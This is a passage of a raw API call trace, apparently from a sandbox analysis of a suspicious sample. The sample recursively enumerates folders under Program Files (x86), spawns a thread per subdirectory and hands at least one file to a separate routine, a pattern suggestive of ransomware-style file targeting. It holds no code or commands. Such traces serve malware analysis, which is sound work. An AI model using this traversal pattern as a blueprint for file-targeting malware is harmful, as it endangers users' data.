0x4c8 [0085.740] FindNextFileW (in: hFindFile=0x1b858610, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5dcb020, ftCreationTime.dwHighDateTime=0x1d58e4c, ftLastAccessTime.dwLowDateTime=0x26027a90, ftLastAccessTime.dwHighDateTime=0x1d5e169, ftLastWriteTime.dwLowDateTime=0x26027a90, ftLastWriteTime.dwHighDateTime=0x1d5e169, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="spcwin.exe", cAlternateFileName="")) returned 1 [0085.740] wcscmp (_String1="spcwin.exe", _String2=".") returned 1 [0085.740] wcscmp (_String1="spcwin.exe", _String2="..") returned 1 [0085.740] FindNextFileW (in: hFindFile=0x1b858610, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5dcb020, ftCreationTime.dwHighDateTime=0x1d58e4c, ftLastAccessTime.dwLowDateTime=0x26027a90, ftLastAccessTime.dwHighDateTime=0x1d5e169, ftLastWriteTime.dwLowDateTime=0x26027a90, ftLastWriteTime.dwHighDateTime=0x1d5e169, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="spcwin.exe", cAlternateFileName="")) returned 0 [0085.740] FindClose (in: hFindFile=0x1b858610 | out: hFindFile=0x1b858610) returned 1 [0085.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ce9a0) returned 1 [0085.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7cea00) returned 1 Thread: id = 114 os_tid = 0x174 [0085.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b7c1e20 [0085.742] wcscpy (in: _Dest=0x1b7c1e20, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8" [0085.743] wcscat (in: _Dest=0x1b7c1e20, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\" [0085.743] wcscat (in: _Dest=0x1b7c1e20, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\*") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\*" [0085.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.743] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdda25720, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdda25720, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7cea00 [0085.743] wcscmp (_String1=".", _String2=".") returned 0 [0085.743] FindNextFileW (in: hFindFile=0x1b7cea00, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdda25720, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdda25720, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.743] wcscmp (_String1="..", _String2=".") returned 1 [0085.743] wcscmp (_String1="..", _String2="..") returned 0 [0085.743] FindNextFileW (in: hFindFile=0x1b7cea00, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common7", cAlternateFileName="")) returned 1 [0085.743] wcscmp (_String1="Common7", _String2=".") returned 1 [0085.743] wcscmp (_String1="Common7", _String2="..") returned 1 [0085.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b79d6f0 [0085.743] wcscpy (in: _Dest=0x1b79d6f0, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8" [0085.743] wcscat (in: _Dest=0x1b79d6f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\" [0085.743] wcscat (in: _Dest=0x1b79d6f0, _Source="Common7" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7" [0085.743] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b79d6f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c4 [0085.749] FindNextFileW (in: hFindFile=0x1b7cea00, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c5160, ftCreationTime.dwHighDateTime=0x1d570e6, ftLastAccessTime.dwLowDateTime=0x8fdecfd0, ftLastAccessTime.dwHighDateTime=0x1d5a592, ftLastWriteTime.dwLowDateTime=0x8fdecfd0, ftLastWriteTime.dwHighDateTime=0x1d5a592, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="filezilla.exe", cAlternateFileName="FILEZI~1.EXE")) returned 1 [0085.749] wcscmp (_String1="filezilla.exe", _String2=".") returned 1 [0085.749] wcscmp (_String1="filezilla.exe", _String2="..") returned 1 [0085.749] FindNextFileW (in: hFindFile=0x1b7cea00, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SDK", cAlternateFileName="")) returned 1 [0085.749] wcscmp (_String1="SDK", _String2=".") returned 1 [0085.749] wcscmp (_String1="SDK", _String2="..") returned 1 [0085.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b79d970 [0085.749] wcscpy (in: _Dest=0x1b79d970, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8" [0085.749] wcscat (in: _Dest=0x1b79d970, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\" [0085.749] wcscat (in: _Dest=0x1b79d970, _Source="SDK" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK" [0085.749] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b79d970, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x554 [0085.750] FindNextFileW (in: hFindFile=0x1b7cea00, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1120b5b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTA", cAlternateFileName="")) returned 1 [0085.750] wcscmp (_String1="VSTA", _String2=".") returned 1 [0085.750] wcscmp (_String1="VSTA", _String2="..") returned 1 [0085.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b79d9f0 [0085.750] wcscpy (in: _Dest=0x1b79d9f0, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8" [0085.750] wcscat (in: _Dest=0x1b79d9f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\" [0085.750] wcscat (in: _Dest=0x1b79d9f0, _Source="VSTA" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA" [0085.750] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b79d9f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x558 [0085.751] FindNextFileW (in: hFindFile=0x1b7cea00, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1120b5b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTA", cAlternateFileName="")) returned 0 [0085.751] FindClose (in: hFindFile=0x1b7cea00 | out: hFindFile=0x1b7cea00) returned 1 [0085.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1e20) returned 1 [0085.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1b80) returned 1 Thread: id = 115 os_tid = 0x8a4 [0085.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4e) returned 0x1b7cea00 [0085.754] wcscpy (in: _Dest=0x1b7cea00, _Source="C:\\Program Files (x86)\\Microsoft.NET" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET") returned="C:\\Program Files (x86)\\Microsoft.NET" [0085.754] wcscat (in: _Dest=0x1b7cea00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\") returned="C:\\Program Files (x86)\\Microsoft.NET\\" [0085.754] wcscat (in: _Dest=0x1b7cea00, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\*") returned="C:\\Program Files (x86)\\Microsoft.NET\\*" [0085.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.754] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f1bbe30, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xddbc8640, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddbc8640, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ce9a0 [0085.754] wcscmp (_String1=".", _String2=".") returned 0 [0085.754] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f1bbe30, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xddbc8640, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddbc8640, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.754] wcscmp (_String1="..", _String2=".") returned 1 [0085.754] wcscmp (_String1="..", _String2="..") returned 0 [0085.754] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46611fc0, ftCreationTime.dwHighDateTime=0x1d56b9f, ftLastAccessTime.dwLowDateTime=0x7b845f10, ftLastAccessTime.dwHighDateTime=0x1d5bb53, ftLastWriteTime.dwLowDateTime=0x7b845f10, ftLastWriteTime.dwHighDateTime=0x1d5bb53, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="outlook.exe", cAlternateFileName="")) returned 1 [0085.755] wcscmp (_String1="outlook.exe", _String2=".") returned 1 [0085.755] wcscmp (_String1="outlook.exe", _String2="..") returned 1 [0085.755] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5abe1b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Primary Interop Assemblies", cAlternateFileName="PRIMAR~1")) returned 1 [0085.755] wcscmp (_String1="Primary Interop Assemblies", _String2=".") returned 1 [0085.755] wcscmp (_String1="Primary Interop Assemblies", _String2="..") returned 1 [0085.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b783cb0 [0085.755] wcscpy (in: _Dest=0x1b783cb0, _Source="C:\\Program Files (x86)\\Microsoft.NET" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET") returned="C:\\Program Files (x86)\\Microsoft.NET" [0085.755] wcscat (in: _Dest=0x1b783cb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\") returned="C:\\Program Files (x86)\\Microsoft.NET\\" [0085.755] wcscat (in: _Dest=0x1b783cb0, _Source="Primary Interop Assemblies" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies") returned="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies" [0085.755] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b783cb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x55c [0085.756] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a491400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9ea84660, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 1 [0085.756] wcscmp (_String1="RedistList", _String2=".") returned 1 [0085.756] wcscmp (_String1="RedistList", _String2="..") returned 1 [0085.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c1b80 [0085.756] wcscpy (in: _Dest=0x1b7c1b80, _Source="C:\\Program Files (x86)\\Microsoft.NET" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET") returned="C:\\Program Files (x86)\\Microsoft.NET" [0085.756] wcscat (in: _Dest=0x1b7c1b80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\") returned="C:\\Program Files (x86)\\Microsoft.NET\\" [0085.756] wcscat (in: _Dest=0x1b7c1b80, _Source="RedistList" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList" [0085.756] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c1b80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x560 [0085.757] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a073030, ftCreationTime.dwHighDateTime=0x1d5b5e2, ftLastAccessTime.dwLowDateTime=0x37e27160, ftLastAccessTime.dwHighDateTime=0x1d58d1e, ftLastWriteTime.dwLowDateTime=0x37e27160, ftLastWriteTime.dwHighDateTime=0x1d58d1e, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="utg2.exe", cAlternateFileName="")) returned 1 [0085.757] wcscmp (_String1="utg2.exe", _String2=".") returned 1 [0085.757] wcscmp (_String1="utg2.exe", _String2="..") returned 1 [0085.757] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a073030, ftCreationTime.dwHighDateTime=0x1d5b5e2, ftLastAccessTime.dwLowDateTime=0x37e27160, ftLastAccessTime.dwHighDateTime=0x1d58d1e, ftLastWriteTime.dwLowDateTime=0x37e27160, ftLastWriteTime.dwHighDateTime=0x1d58d1e, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="utg2.exe", cAlternateFileName="")) returned 0 [0085.757] FindClose (in: hFindFile=0x1b7ce9a0 | out: hFindFile=0x1b7ce9a0) returned 1 [0085.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.758] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7cea00) returned 1 [0085.758] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7cea60) returned 1 Thread: id = 116 os_tid = 0x72c [0085.761] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1b82bdb0 [0085.762] wcscpy (in: _Dest=0x1b82bdb0, _Source="C:\\Program Files (x86)\\MSBuild" | out: _Dest="C:\\Program Files (x86)\\MSBuild") returned="C:\\Program Files (x86)\\MSBuild" [0085.762] wcscat (in: _Dest=0x1b82bdb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\") returned="C:\\Program Files (x86)\\MSBuild\\" [0085.762] wcscat (in: _Dest=0x1b82bdb0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\*") returned="C:\\Program Files (x86)\\MSBuild\\*" [0085.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.762] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdda97b40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdda97b40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7cea60 [0085.762] wcscmp (_String1=".", _String2=".") returned 0 [0085.762] FindNextFileW (in: hFindFile=0x1b7cea60, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdda97b40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdda97b40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.762] wcscmp (_String1="..", _String2=".") returned 1 [0085.762] wcscmp (_String1="..", _String2="..") returned 0 [0085.762] FindNextFileW (in: hFindFile=0x1b7cea60, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa669ab0, ftCreationTime.dwHighDateTime=0x1d5b30f, ftLastAccessTime.dwLowDateTime=0x57c6f3b0, ftLastAccessTime.dwHighDateTime=0x1d57aa0, ftLastWriteTime.dwLowDateTime=0x57c6f3b0, ftLastWriteTime.dwHighDateTime=0x1d57aa0, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="cabinets_isolated.exe", cAlternateFileName="CABINE~1.EXE")) returned 1 [0085.762] wcscmp (_String1="cabinets_isolated.exe", _String2=".") returned 1 [0085.762] wcscmp (_String1="cabinets_isolated.exe", _String2="..") returned 1 [0085.762] FindNextFileW (in: hFindFile=0x1b7cea60, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3507de00, ftCreationTime.dwHighDateTime=0x1d5dc9a, ftLastAccessTime.dwLowDateTime=0x41bddd70, ftLastAccessTime.dwHighDateTime=0x1d5de11, ftLastWriteTime.dwLowDateTime=0x41bddd70, ftLastWriteTime.dwHighDateTime=0x1d5de11, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="coreftp.exe", cAlternateFileName="")) returned 1 [0085.762] wcscmp (_String1="coreftp.exe", _String2=".") returned 1 [0085.762] wcscmp (_String1="coreftp.exe", _String2="..") returned 1 [0085.762] FindNextFileW (in: hFindFile=0x1b7cea60, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0085.762] wcscmp (_String1="Microsoft", _String2=".") returned 1 [0085.762] wcscmp (_String1="Microsoft", _String2="..") returned 1 [0085.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b7cea00 [0085.763] wcscpy (in: _Dest=0x1b7cea00, _Source="C:\\Program Files (x86)\\MSBuild" | out: _Dest="C:\\Program Files (x86)\\MSBuild") returned="C:\\Program Files (x86)\\MSBuild" [0085.763] wcscat (in: _Dest=0x1b7cea00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\") returned="C:\\Program Files (x86)\\MSBuild\\" [0085.763] wcscat (in: _Dest=0x1b7cea00, _Source="Microsoft" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft" [0085.763] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7cea00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d4 [0085.763] FindNextFileW (in: hFindFile=0x1b7cea60, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a8de300, ftCreationTime.dwHighDateTime=0x1cacf26, ftLastAccessTime.dwLowDateTime=0x553ced90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a8de300, ftLastWriteTime.dwHighDateTime=0x1cacf26, nFileSizeHigh=0x0, nFileSizeLow=0x2fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.targets", cAlternateFileName="MICROS~1.TAR")) returned 1 [0085.763] wcscmp (_String1="Microsoft.Office.InfoPath.targets", _String2=".") returned 1 [0085.763] wcscmp (_String1="Microsoft.Office.InfoPath.targets", _String2="..") returned 1 [0085.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b783ef0 [0085.763] wcscpy (in: _Dest=0x1b783ef0, _Source="C:\\Program Files (x86)\\MSBuild" | out: _Dest="C:\\Program Files (x86)\\MSBuild") returned="C:\\Program Files (x86)\\MSBuild" [0085.763] wcscat (in: _Dest=0x1b783ef0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\") returned="C:\\Program Files (x86)\\MSBuild\\" [0085.764] wcscat (in: _Dest=0x1b783ef0, _Source="Microsoft.Office.InfoPath.targets" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft.Office.InfoPath.targets") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft.Office.InfoPath.targets" [0085.764] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b783ef0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d0 [0085.764] FindNextFileW (in: hFindFile=0x1b7cea60, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2591030, ftCreationTime.dwHighDateTime=0x1d5c922, ftLastAccessTime.dwLowDateTime=0x2da487e0, ftLastAccessTime.dwHighDateTime=0x1d5917b, ftLastWriteTime.dwLowDateTime=0x2da487e0, ftLastWriteTime.dwHighDateTime=0x1d5917b, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="scriptftp.exe", cAlternateFileName="SCRIPT~1.EXE")) returned 1 [0085.764] wcscmp (_String1="scriptftp.exe", _String2=".") returned 1 [0085.764] wcscmp (_String1="scriptftp.exe", _String2="..") returned 1 [0085.764] FindNextFileW (in: hFindFile=0x1b7cea60, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7198e510, ftCreationTime.dwHighDateTime=0x1d5a506, ftLastAccessTime.dwLowDateTime=0xb608a540, ftLastAccessTime.dwHighDateTime=0x1d5a2c3, ftLastWriteTime.dwLowDateTime=0xb608a540, ftLastWriteTime.dwHighDateTime=0x1d5a2c3, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="specification.exe", cAlternateFileName="SPECIF~1.EXE")) returned 1 [0085.764] wcscmp (_String1="specification.exe", _String2=".") returned 1 [0085.764] wcscmp (_String1="specification.exe", _String2="..") returned 1 [0085.764] FindNextFileW (in: hFindFile=0x1b7cea60, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7198e510, ftCreationTime.dwHighDateTime=0x1d5a506, ftLastAccessTime.dwLowDateTime=0xb608a540, ftLastAccessTime.dwHighDateTime=0x1d5a2c3, ftLastWriteTime.dwLowDateTime=0xb608a540, ftLastWriteTime.dwHighDateTime=0x1d5a2c3, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, 